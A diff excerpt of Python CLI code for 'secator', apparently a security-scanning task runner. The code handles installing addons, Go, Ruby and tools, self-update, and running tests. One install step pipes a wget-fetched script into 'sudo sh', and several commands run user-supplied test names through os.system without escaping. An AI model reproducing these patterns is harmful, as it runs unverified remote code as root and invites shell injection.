1364
+ from secator.installer import PackageInstaller
1365
+ status = PackageInstaller.install(packages)
1366
+ return_code = 1
1367
+ if status.is_ok():
1368
+ return_code = 0
1369
+ if next_steps:
1370
+ console.print('[bold gold3]:wrench: Next steps:[/]')
1371
+ for ix, step in enumerate(next_steps):
1372
+ console.print(f' :keycap_{ix}: {step}')
1373
+ sys.exit(return_code)
1374
+
1375
+
1376
+ @cli.group(aliases=['i'])
1377
+ def install():
1378
+ """Install langs, tools and addons."""
1379
+ pass
1380
+
1381
+
1382
+ @install.group()
1383
+ def addons():
1384
+ "Install addons."
1385
+ pass
1386
+
1387
+
1388
+ @addons.command('worker')
1389
+ def install_worker():
1390
+ "Install Celery worker addon."
1391
+ run_install(
1392
+ cmd=f'{sys.executable} -m pip install secator[worker]',
1393
+ title='Celery worker addon',
1394
+ next_steps=[
1395
+ 'Run [bold green4]secator worker[/] to run a Celery worker using the file system as a backend and broker.',
1396
+ 'Run [bold green4]secator x httpx testphp.vulnweb.com[/] to admire your task running in a worker.',
1397
+ r'[dim]\[optional][/dim] Run [bold green4]secator install addons redis[/] to setup Redis backend / broker.'
1398
+ ]
1399
+ )
1400
+
1401
+
1402
+ @addons.command('gdrive')
1403
+ def install_gdrive():
1404
+ "Install Google Drive addon."
1405
+ run_install(
1406
+ cmd=f'{sys.executable} -m pip install secator[google]',
1407
+ title='Google Drive addon',
1408
+ next_steps=[
1409
+ 'Run [bold green4]secator config set addons.gdrive.credentials_path <VALUE>[/].',
1410
+ 'Run [bold green4]secator config set addons.gdrive.drive_parent_folder_id <VALUE>[/].',
1411
+ 'Run [bold green4]secator x httpx testphp.vulnweb.com -o gdrive[/] to send reports to Google Drive.'
1412
+ ]
1413
+ )
1414
+
1415
+
1416
+ @addons.command('gcs')
1417
+ def install_gcs():
1418
+ "Install Google Cloud Storage addon."
1419
+ run_install(
1420
+ cmd=f'{sys.executable} -m pip install secator[gcs]',
1421
+ title='Google Cloud Storage addon',
1422
+ next_steps=[
1423
+ 'Run [bold green4]secator config set addons.gcs.bucket_name <VALUE>[/].',
1424
+ 'Run [bold green4]secator config set addons.gcs.credentials_path <VALUE>[/]. [dim](optional if using default credentials)[/]', # noqa: E501
1425
+ ]
1426
+ )
1427
+
1428
+
1429
+ @addons.command('mongodb')
1430
+ def install_mongodb():
1431
+ "Install MongoDB addon."
1432
+ run_install(
1433
+ cmd=f'{sys.executable} -m pip install secator[mongodb]',
1434
+ title='MongoDB addon',
1435
+ next_steps=[
1436
+ r'[dim]\[optional][/] Run [bold green4]docker run --name mongo -p 27017:27017 -d mongo:latest[/] to run a local MongoDB instance.', # noqa: E501
1437
+ 'Run [bold green4]secator config set addons.mongodb.url mongodb://<URL>[/].',
1438
+ 'Run [bold green4]secator x httpx testphp.vulnweb.com -driver mongodb[/] to save results to MongoDB.'
1439
+ ]
1440
+ )
1441
+
1442
+
1443
+ @addons.command('redis')
1444
+ def install_redis():
1445
+ "Install Redis addon."
1446
+ run_install(
1447
+ cmd=f'{sys.executable} -m pip install secator[redis]',
1448
+ title='Redis addon',
1449
+ next_steps=[
1450
+ r'[dim]\[optional][/] Run [bold green4]docker run --name redis -p 6379:6379 -d redis[/] to run a local Redis instance.', # noqa: E501
1451
+ 'Run [bold green4]secator config set celery.broker_url redis://<URL>[/]',
1452
+ 'Run [bold green4]secator config set celery.result_backend redis://<URL>[/]',
1453
+ 'Run [bold green4]secator worker[/] to run a worker.',
1454
+ 'Run [bold green4]secator x httpx testphp.vulnweb.com[/] to run a test task.'
1455
+ ]
1456
+ )
1457
+
1458
+
1459
+ @addons.command('dev')
1460
+ def install_dev():
1461
+ "Install dev addon."
1462
+ run_install(
1463
+ cmd=f'{sys.executable} -m pip install secator[dev]',
1464
+ title='dev addon',
1465
+ next_steps=[
1466
+ 'Run [bold green4]secator test lint[/] to run lint tests.',
1467
+ 'Run [bold green4]secator test unit[/] to run unit tests.',
1468
+ 'Run [bold green4]secator test integration[/] to run integration tests.',
1469
+ ]
1470
+ )
1471
+
1472
+
1473
+ @addons.command('trace')
1474
+ def install_trace():
1475
+ "Install trace addon."
1476
+ run_install(
1477
+ cmd=f'{sys.executable} -m pip install secator[trace]',
1478
+ title='trace addon',
1479
+ next_steps=[
1480
+ ]
1481
+ )
1482
+
1483
+
1484
+ @addons.command('build')
1485
+ def install_build():
1486
+ "Install build addon."
1487
+ run_install(
1488
+ cmd=f'{sys.executable} -m pip install secator[build]',
1489
+ title='build addon',
1490
+ next_steps=[
1491
+ 'Run [bold green4]secator u build pypi[/] to build the PyPI package.',
1492
+ 'Run [bold green4]secator u publish pypi[/] to publish the PyPI package.',
1493
+ 'Run [bold green4]secator u build docker[/] to build the Docker image.',
1494
+ 'Run [bold green4]secator u publish docker[/] to publish the Docker image.',
1495
+ ]
1496
+ )
1497
+
1498
+
1499
+ @install.group()
1500
+ def langs():
1501
+ "Install languages."
1502
+ pass
1503
+
1504
+
1505
+ @langs.command('go')
1506
+ def install_go():
1507
+ """Install Go."""
1508
+ run_install(
1509
+ cmd='wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install_go.sh | sudo sh',
1510
+ title='Go',
1511
+ next_steps=[
1512
+ 'Add ~/go/bin to your $PATH'
1513
+ ]
1514
+ )
1515
+
1516
+
1517
+ @langs.command('ruby')
1518
+ def install_ruby():
1519
+ """Install Ruby."""
1520
+ run_install(
1521
+ packages={
1522
+ 'apt': ['ruby-full', 'rubygems'],
1523
+ 'apk': ['ruby', 'ruby-dev'],
1524
+ 'pacman': ['ruby', 'ruby-dev'],
1525
+ 'brew': ['ruby']
1526
+ },
1527
+ title='Ruby'
1528
+ )
1529
+
1530
+
1531
+ @install.command('tools')
1532
+ @click.argument('cmds', required=False)
1533
+ @click.option('--cleanup', is_flag=True, default=False, help='Clean up tools after installation.')
1534
+ @click.option('--fail-fast', is_flag=True, default=False, help='Fail fast if any tool fails to install.')
1535
+ def install_tools(cmds, cleanup, fail_fast):
1536
+ """Install supported tools."""
1537
+ if CONFIG.offline_mode:
1538
+ console.print(Error(message='Cannot run this command in offline mode.'))
1539
+ sys.exit(1)
1540
+ tools = []
1541
+ if cmds is not None:
1542
+ cmds = cmds.split(',')
1543
+ for cmd in cmds:
1544
+ if '==' in cmd:
1545
+ cmd, version = tuple(cmd.split('=='))
1546
+ else:
1547
+ cmd, version = cmd, None
1548
+ cls = next((cls for cls in discover_tasks() if cls.__name__ == cmd), None)
1549
+ if cls:
1550
+ if version:
1551
+ if cls.install_version and cls.install_version.startswith('v') and not version.startswith('v'):
1552
+ version = f'v{version}'
1553
+ cls.install_version = version
1554
+ tools.append(cls)
1555
+ else:
1556
+ console.print(Warning(message=f'Tool {cmd} is not supported or inexistent.'))
1557
+ else:
1558
+ tools = discover_tasks()
1559
+ tools.sort(key=lambda x: x.__name__)
1560
+ return_code = 0
1561
+ if not tools:
1562
+ console.print(Error(message='No tools found for installing.'))
1563
+ return
1564
+ for ix, cls in enumerate(tools):
1565
+ # with console.status(f'[bold yellow][{ix + 1}/{len(tools)}] Installing {cls.__name__} ...'):
1566
+ status = ToolInstaller.install(cls)
1567
+ if not status.is_ok():
1568
+ return_code = 1
1569
+ if fail_fast:
1570
+ sys.exit(return_code)
1571
+ console.print()
1572
+ if cleanup:
1573
+ distro = get_distro_config()
1574
+ cleanup_cmds = [
1575
+ 'go clean -cache',
1576
+ 'go clean -modcache',
1577
+ 'pip cache purge',
1578
+ 'gem cleanup --user-install',
1579
+ 'gem clean --user-install',
1580
+ ]
1581
+ if distro.pm_finalizer:
1582
+ cleanup_cmds.append(f'sudo {distro.pm_finalizer}')
1583
+ cmd = ' && '.join(cleanup_cmds)
1584
+ Command.execute(cmd, cls_attributes={'shell': True}, quiet=False)
1585
+ sys.exit(return_code)
1586
+
1587
+
1588
+ #--------#
1589
+ # UPDATE #
1590
+ #--------#
1591
+
1592
+ @cli.command('update')
1593
+ @click.option('--all', '-a', is_flag=True, help='Update all secator dependencies (addons, tools, ...)')
1594
+ def update(all):
1595
+ """Update to latest version."""
1596
+ if CONFIG.offline_mode:
1597
+ console.print(Error(message='Cannot run this command in offline mode.'))
1598
+ sys.exit(1)
1599
+
1600
+ # Check current and latest version
1601
+ info = get_version_info('secator', '-version', 'freelabz/secator', version=VERSION)
1602
+ latest_version = info['latest_version']
1603
+ do_update = True
1604
+
1605
+ # Skip update if latest
1606
+ if info['status'] == 'latest':
1607
+ console.print(Info(message=f'secator is already at the newest version {latest_version} !'))
1608
+ do_update = False
1609
+
1610
+ # Fail if unknown latest
1611
+ if not latest_version:
1612
+ console.print(Error(message='Could not fetch latest secator version.'))
1613
+ sys.exit(1)
1614
+
1615
+ # Update secator
1616
+ if do_update:
1617
+ console.print(f'[bold gold3]:wrench: Updating secator from {VERSION} to {latest_version} ...[/]')
1618
+ if 'pipx' in sys.executable:
1619
+ ret = Command.execute(f'pipx install secator=={latest_version} --force')
1620
+ else:
1621
+ ret = Command.execute(f'pip install secator=={latest_version}')
1622
+ if not ret.return_code == 0:
1623
+ sys.exit(1)
1624
+
1625
+ # Update tools
1626
+ if all:
1627
+ return_code = 0
1628
+ for cls in discover_tasks():
1629
+ base_cmd = getattr(cls, 'cmd', None)
1630
+ if not base_cmd:
1631
+ continue
1632
+ cmd = base_cmd.split(' ')[0]
1633
+ version_flag = cls.get_version_flag()
1634
+ info = get_version_info(cmd, version_flag, cls.github_handle, cls.install_github_version_prefix)
1635
+ if not info['installed'] or info['outdated'] or not info['latest_version']:
1636
+ # with console.status(f'[bold yellow]Installing {cls.__name__} ...'):
1637
+ status = ToolInstaller.install(cls)
1638
+ if not status.is_ok():
1639
+ return_code = 1
1640
+ sys.exit(return_code)
1641
+
1642
+
1643
+ #------#
1644
+ # TEST #
1645
+ #------#
1646
+
1647
+
1648
+ @cli.group(cls=OrderedGroup)
1649
+ def test():
1650
+ """[dim]Run tests (dev build only)."""
1651
+ if not DEV_PACKAGE:
1652
+ console.print(Error(message='You MUST use a development version of secator to run tests.'))
1653
+ sys.exit(1)
1654
+ if not ADDONS_ENABLED['dev']:
1655
+ console.print(Error(message='Missing dev addon: please run "secator install addons dev"'))
1656
+ sys.exit(1)
1657
+ pass
1658
+
1659
+
1660
+ def run_test(cmd, name=None, exit=True, verbose=False, use_os_system=False):
1661
+ """Run a test and return the result.
1662
+
1663
+ Args:
1664
+ cmd (str): Command to run.
1665
+ name (str, optional): Name of the test.
1666
+ exit (bool, optional): Exit after running the test with the return code.
1667
+ verbose (bool, optional): Print verbose output.
1668
+ use_os_system (bool, optional): Use os.system to run the command.
1669
+
1670
+ Returns:
1671
+ Return code of the test.
1672
+ """
1673
+ cmd_name = name + ' tests' if name else 'tests'
1674
+ if use_os_system:
1675
+ console.print(f'[bold red]{cmd}[/]')
1676
+ if not verbose:
1677
+ cmd += ' >/dev/null 2>&1'
1678
+ ret = os.system(cmd)
1679
+ if exit:
1680
+ sys.exit(os.waitstatus_to_exitcode(ret))
1681
+ return ret
1682
+ else:
1683
+ result = Command.execute(cmd, name=cmd_name, cwd=ROOT_FOLDER, quiet=not verbose)
1684
+ if name:
1685
+ if result.return_code == 0:
1686
+ console.print(f':tada: {name.capitalize()} tests passed !', style='bold green')
1687
+ else:
1688
+ console.print(f':x: {name.capitalize()} tests failed !', style='bold red')
1689
+ if exit:
1690
+ sys.exit(result.return_code)
1691
+ return result.return_code
1692
+
1693
+
1694
+ @test.command()
1695
+ @click.option('--linter', '-l', type=click.Choice(['flake8', 'ruff', 'isort', 'pylint']), default='flake8', help='Linter to use') # noqa: E501
1696
+ def lint(linter):
1697
+ """Run lint tests."""
1698
+ opts = ''
1699
+ if linter == 'pylint':
1700
+ opts = '--indent-string "\t" --max-line-length 160 --disable=R,C,W'
1701
+ elif linter == 'ruff':
1702
+ opts = ' check'
1703
+ cmd = f'{sys.executable} -m {linter} {opts} secator/'
1704
+ run_test(cmd, 'lint', verbose=True, use_os_system=True)
1705
+
1706
+
1707
+ @test.command()
1708
+ @click.option('--tasks', type=str, default='', help='Secator tasks to test (comma-separated)')
1709
+ @click.option('--workflows', type=str, default='', help='Secator workflows to test (comma-separated)')
1710
+ @click.option('--scans', type=str, default='', help='Secator scans to test (comma-separated)')
1711
+ @click.option('--test', '-t', type=str, help='Secator test to run')
1712
+ @click.option('--no-coverage', is_flag=True, help='Disable coverage')
1713
+ def unit(tasks, workflows, scans, test, no_coverage):
1714
+ """Run unit tests."""
1715
+ os.environ['TEST_TASKS'] = tasks or ''
1716
+ os.environ['TEST_WORKFLOWS'] = workflows or ''
1717
+ os.environ['TEST_SCANS'] = scans or ''
1718
+ os.environ['SECATOR_DIRS_DATA'] = '/tmp/.secator'
1719
+ os.environ['SECATOR_OFFLINE_MODE'] = "1"
1720
+ os.environ['SECATOR_HTTP_STORE_RESPONSES'] = '0'
1721
+ os.environ['SECATOR_RUNNERS_SKIP_CVE_SEARCH'] = '1'
1722
+
1723
+ if not test:
1724
+ if tasks:
1725
+ test = 'test_tasks'
1726
+ elif workflows:
1727
+ test = 'test_workflows'
1728
+ elif scans:
1729
+ test = 'test_scans'
1730
+
1731
+ import shutil
1732
+ shutil.rmtree('/tmp/.secator', ignore_errors=True)
1733
+ if not no_coverage:
1734
+ cmd = f'{sys.executable} -m coverage run --omit="*test*" --data-file=.coverage.unit -m pytest -s -vv tests/unit --durations=5' # noqa: E501
1735
+ else:
1736
+ cmd = f'{sys.executable} -m pytest -s -vv tests/unit --durations=5'
1737
+ if test:
1738
+ test_str = ' or '.join(test.split(','))
1739
+ cmd += f' -k "{test_str}"'
1740
+ run_test(cmd, 'unit', verbose=True, use_os_system=True)
1741
+
1742
+
1743
+ @test.command()
1744
+ @click.option('--tasks', type=str, default='', help='Secator tasks to test (comma-separated)')
1745
+ @click.option('--workflows', type=str, default='', help='Secator workflows to test (comma-separated)')
1746
+ @click.option('--scans', type=str, default='', help='Secator scans to test (comma-separated)')
1747
+ @click.option('--test', '-t', type=str, help='Secator test to run')
1748
+ @click.option('--no-cleanup', '-nc', is_flag=True, help='Do not perform cleanup (keep lab running, faster for relaunching tests)') # noqa: E501
1749
+ def integration(tasks, workflows, scans, test, no_cleanup):
1750
+ """Run integration tests."""
1751
+ os.environ['TEST_TASKS'] = tasks or ''
1752
+ os.environ['TEST_WORKFLOWS'] = workflows or ''
1753
+ os.environ['TEST_SCANS'] = scans or ''
1754
+ os.environ['SECATOR_DIRS_DATA'] = '/tmp/.secator'
1755
+ os.environ['SECATOR_RUNNERS_SKIP_CVE_SEARCH'] = '1'
1756
+ os.environ['TEST_NO_CLEANUP'] = '1' if no_cleanup else '0'
1757
+
1758
+ if not test:
1759
+ if tasks:
1760
+ test = 'test_tasks'
1761
+ elif workflows:
1762
+ test = 'test_workflows'
1763
+ elif scans:
1764
+ test = 'test_scans'
1765
+
1766
+ import shutil
1767
+ shutil.rmtree('/tmp/.secator', ignore_errors=True)
1768
+
1769
+ cmd = f'{sys.executable} -m coverage run --omit="*test*" --data-file=.coverage.integration -m pytest -s -vv tests/integration --durations=5' # noqa: E501
1770
+ if test:
1771
+ test_str = ' or '.join(test.split(','))
1772
+ cmd += f' -k "{test_str}"'
1773
+ run_test(cmd, 'integration', verbose=True, use_os_system=True)
1774
+
1775
+
1776
+ @test.command()
1777
+ @click.option('--tasks', type=str, default='', help='Secator tasks to test (comma-separated)')
1778
+ @click.option('--workflows', type=str, default='', help='Secator workflows to test (comma-separated)')
1779
+ @click.option('--scans', type=str, default='', help='Secator scans to test (comma-separated)')
1780
+ @click.option('--test', '-t', type=str, help='Secator test to run')
1781
+ def template(tasks, workflows, scans, test):
1782
+ """Run integration tests."""
1783
+ os.environ['TEST_TASKS'] = tasks or ''
1784
+ os.environ['TEST_WORKFLOWS'] = workflows or ''
1785
+ os.environ['TEST_SCANS'] = scans or ''
1786
+ os.environ['SECATOR_DIRS_DATA'] = '/tmp/.secator'
1787
+ os.environ['SECATOR_RUNNERS_SKIP_CVE_SEARCH'] = '1'
1788
+
1789
+ if not test:
1790
+ if tasks:
1791
+ test = 'test_tasks'
1792
+ elif workflows:
1793
+ test = 'test_workflows'
1794
+ elif scans:
1795
+ test = 'test_scans'
1796
+
1797
+ import shutil
1798
+ shutil.rmtree('/tmp/.secator', ignore_errors=True)
1799
+
1800
+ cmd = f'{sys.executable} -m coverage run --omit="*test*" --data-file=.coverage.templates -m pytest -s -vv tests/template --durations=5' # noqa: E501
1801
+ if test:
1802
+ test_str = ' or '.join(test.split(','))
1803
+ cmd += f' -k "{test_str}"'
1804
+ run_test(cmd, 'template', verbose=True)
1805
+
1806
+
1807
+ @test.command()
1808
+ @click.option('--tasks', type=str, default='', help='Secator tasks to test (comma-separated)')
1809
+ @click.option('--workflows', type=str, default='', help='Secator workflows to test (comma-separated)')
1810
+ @click.option('--scans', type=str, default='', help='Secator scans to test (comma-separated)')
1811
+ @click.option('--test', '-t', type=str, help='Secator test to run')
1812
+ def performance(tasks, workflows, scans, test):
1813
+ """Run integration tests."""
1814
+ os.environ['TEST_TASKS'] = tasks or ''
1815
+ os.environ['TEST_WORKFLOWS'] = workflows or ''
1816
+ os.environ['TEST_SCANS'] = scans or ''
1817
+ os.environ['SECATOR_DIRS_DATA'] = '/tmp/.secator'
1818
+ os.environ['SECATOR_RUNNERS_SKIP_CVE_SEARCH'] = '1'
1819
+
1820
+ # import shutil
1821
+ # shutil.rmtree('/tmp/.secator', ignore_errors=True)
1822
+
1823
+ cmd = f'{sys.executable} -m coverage run --omit="*test*" --data-file=.coverage.performance -m pytest -s -v tests/performance' # noqa: E501
1824
+ if test:
1825
+ test_str = ' or '.join(test.split(','))
1826
+ cmd += f' -k "{test_str}"'
1827
+ run_test(cmd, 'performance', verbose=True, use_os_system=True)
1828
+
1829
+
1830
+ @test.command()
1831
+ @click.argument('name', type=str)
1832
+ @click.option('--verbose', '-v', is_flag=True, default=False, help='Print verbose output')
1833
+ @click.option('--check', '-c', is_flag=True, default=False, help='Check task semantics only (no unit + integration tests)') # noqa: E501
1834
+ @click.option('--system-exit', '-e', is_flag=True, default=True, help='Exit with system exit code')
1835
+ def task(name, verbose, check, system_exit):
1836
+ """Test a single task for semantics errors, and run unit + integration tests."""
1837
+ console.print(f'[bold gold3]:wrench: Testing task {name} ...[/]')
1838
+ task = [task for task in discover_tasks() if task.__name__ == name.strip()]
1839
+ warnings = []
1840
+ errors = []
1841
+ exit_code = 0
1842
+
1843
+ # Check if task is correctly registered
1844
+ check_test(
1845
+ len(task) == 1,
1846
+ 'Check task is registered',
1847
+ 'Task is not registered. Please check your task name.',
1848
+ errors
1849
+ )
1850
+ if errors:
1851
+ if system_exit:
1852
+ sys.exit(1)
1853
+ else:
1854
+ return False
1855
+
1856
+ task = task[0]
1857
+ task_name = task.__name__
1858
+
1859
+ # Check task command is set
1860
+ check_test(
1861
+ task.cmd,
1862
+ 'Check task command is set (cls.cmd)',
1863
+ 'Task has no cmd attribute.',
1864
+ errors
1865
+ )
1866
+ if errors:
1867
+ if system_exit:
1868
+ sys.exit(1)
1869
+ else:
1870
+ return False
1871
+
1872
+ # Run install
1873
+ cmd = f'secator install tools {task_name}'
1874
+ ret_code = Command.execute(cmd, name='install', quiet=not verbose, cwd=ROOT_FOLDER)
1875
+ version_info = task.get_version_info()
1876
+ if verbose:
1877
+ console.print(f'Version info:\n{version_info}')
1878
+ status = version_info['status']
1879
+ check_test(
1880
+ version_info['installed'],
1881
+ 'Check task is installed',
1882
+ 'Failed to install command. Fix your installation command.',
1883
+ errors
1884
+ )
1885
+ check_test(
1886
+ any(cmd for cmd in [task.install_pre, task.install_cmd, task.github_handle]),
1887
+ 'Check task installation command is defined',
1888
+ 'Task has no installation command. Please define one or more of the following class attributes: `install_pre`, `install_cmd`, `install_post`, `github_handle`.', # noqa: E501
1889
+ errors
1890
+ )
1891
+ check_test(
1892
+ version_info['version'],
1893
+ 'Check task version can be fetched',
1894
+ 'Failed to detect current version. Consider updating your `version_flag` class attribute.',
1895
+ warnings,
1896
+ warn=True
1897
+ )
1898
+ check_test(
1899
+ status != 'latest unknown',
1900
+ 'Check latest version',
1901
+ 'Failed to detect latest version.',
1902
+ warnings,
1903
+ warn=True
1904
+ )
1905
+ check_test(
1906
+ not version_info['outdated'],
1907
+ 'Check task version is up to date',
1908
+ f'Task is not up to date (current version: {version_info["version"]}, latest: {version_info["latest_version"]}). Consider updating your `install_version` class attribute.', # noqa: E501
1909
+ warnings,
1910
+ warn=True
1911
+ )
1912
+
1913
+ # Run task-specific tests
1914
+ check_test(
1915
+ task.__doc__,
1916
+ 'Check task description is set (cls.__doc__)',
1917
+ 'Task has no description (class docstring).',
1918
+ errors
1919
+ )
1920
+ check_test(
1921
+ task.input_types,
1922
+ 'Check task input type is set (cls.input_type)',
1923
+ 'Task has no input_type attribute.',
1924
+ warnings,
1925
+ warn=True
1926
+ )
1927
+ check_test(
1928
+ task.output_types,
1929
+ 'Check task output types is set (cls.output_types)',
1930
+ 'Task has no output_types attribute. Consider setting some so that secator can load your task outputs.',
1931
+ warnings,
1932
+ warn=True
1933
+ )
1934
+ check_test(
1935
+ task.install_version,
1936
+ 'Check task install_version is set (cls.install_version)',
1937
+ 'Task has no install_version attribute. Consider setting it to pin the tool version and ensure it does not break in the future.', # noqa: E501
1938
+ warnings,
1939
+ warn=True
1940
+ )
1941
+
1942
+ if not check:
1943
+
1944
+ # Run unit tests
1945
+ cmd = f'secator test unit --tasks {name}'
1946
+ ret_code = run_test(cmd, exit=False, verbose=verbose)
1947
+ check_test(
1948
+ ret_code == 0,
1949
+ 'Check unit tests pass',
1950
+ 'Unit tests failed.',
1951
+ errors
1952
+ )
1953
+
1954
+ # Run integration tests
1955
+ cmd = f'secator test integration --tasks {name}'
1956
+ ret_code = run_test(cmd, exit=False, verbose=verbose)
1957
+ check_test(
1958
+ ret_code == 0,
1959
+ 'Check integration tests pass',
1960
+ 'Integration tests failed.',
1961
+ errors
1962
+ )
1963
+
1964
+ # Exit with exit code
1965
+ exit_code = 1 if len(errors) > 0 else 0
1966
+ if exit_code == 0:
1967
+ console.print(f':tada: Task {name} tests passed !', style='bold green')
1968
+ else:
1969
+ console.print('\n[bold gold3]Errors:[/]')
1970
+ for error in errors:
1971
+ console.print(error)
1972
+ console.print(Error(message=f'Task {name} tests failed. Please fix the issues above.'))
1973
+
1974
+ if warnings:
1975
+ console.print('\n[bold gold3]Warnings:[/]')
1976
+ for warning in warnings:
1977
+ console.print(warning)
1978
+
1979
+ console.print("\n")
1980
+ if system_exit:
1981
+ sys.exit(exit_code)
1982
+ else:
1983
+ return True if exit_code == 0 else False
1984
+
1985
+
1986
+ @test.command()
1987
+ @click.pass_context
1988
+ @click.option('--check', '-c', is_flag=True, default=False, help='Check task semantics only (no unit + integration tests)') # noqa: E501
1989
+ @click.option('--verbose', '-v', is_flag=True, default=False, help='Print verbose output')
1990
+ def tasks(ctx, check, verbose):
1991
+ """Test all tasks for semantics errors, and run unit + integration tests."""
1992
+ results = []
1993
+ for cls in discover_tasks():
1994
+ success = ctx.invoke(task, name=cls.__name__, verbose=verbose, check=check, system_exit=False)
1995
+ results.append(success)
1996
+
1997
+ if any(not success for success in results):
1998
+ console.print(Error(message='Tasks checks failed. Please check the output for more details.'))
1999
+ sys.exit(1)
2000
+ console.print(Info(message='All tasks checks passed.'))
2001
+ sys.exit(0)
2002
+
2003
+
2004
+ def check_test(condition, message, fail_message, results=[], warn=False):
2005
+ console.print(f'[bold magenta]:zap: {message} ...[/]', end='')
2006
+ if not condition:
2007
+ if not warn:
2008
+ error = Error(message=fail_message)
2009
+ console.print(' [bold red]FAILED[/]', style='dim')
2010
+ results.append(error)
2011
+ else:
2012
+ warning = Warning(message=fail_message)
2013
+ console.print(' [bold yellow]WARNING[/]', style='dim')
2014
+ results.append(warning)
2015
+ else:
2016
+ console.print(' [bold green]OK[/]', style='dim')
2017
+ return True
2018
+
2019
+
2020
+ @test.command()
2021
+ @click.option('--unit-only', '-u', is_flag=True, default=False, help='Only generate coverage for unit tests')
2022
+ @click.option('--integration-only', '-i', is_flag=True, default=False, help='Only generate coverage for integration tests') # noqa: E501
2023
+ @click.option('--template-only', '-t', is_flag=True, default=False, help='Only generate coverage for template tests') # noqa: E501
2024
+ def coverage(unit_only, integration_only, template_only):
2025
+ """Run coverage combine + coverage report."""
2026
+ cmd = f'{sys.executable} -m coverage report -m --omit=*/site-packages/*,*/tests/*,*/templates/*'
2027
+ if unit_only:
2028
+ cmd += ' --data-file=.coverage.unit'
2029
+ elif integration_only:
2030
+ cmd += ' --data-file=.coverage.integration'
2031
+ elif template_only:
2032
+ cmd += ' --data-file=.coverage.template'
2033
+ else:
2034
+ Command.execute(f'{sys.executable} -m coverage combine --keep', name='coverage combine', cwd=ROOT_FOLDER)
2035
+ run_test(cmd, 'coverage', use_os_system=True)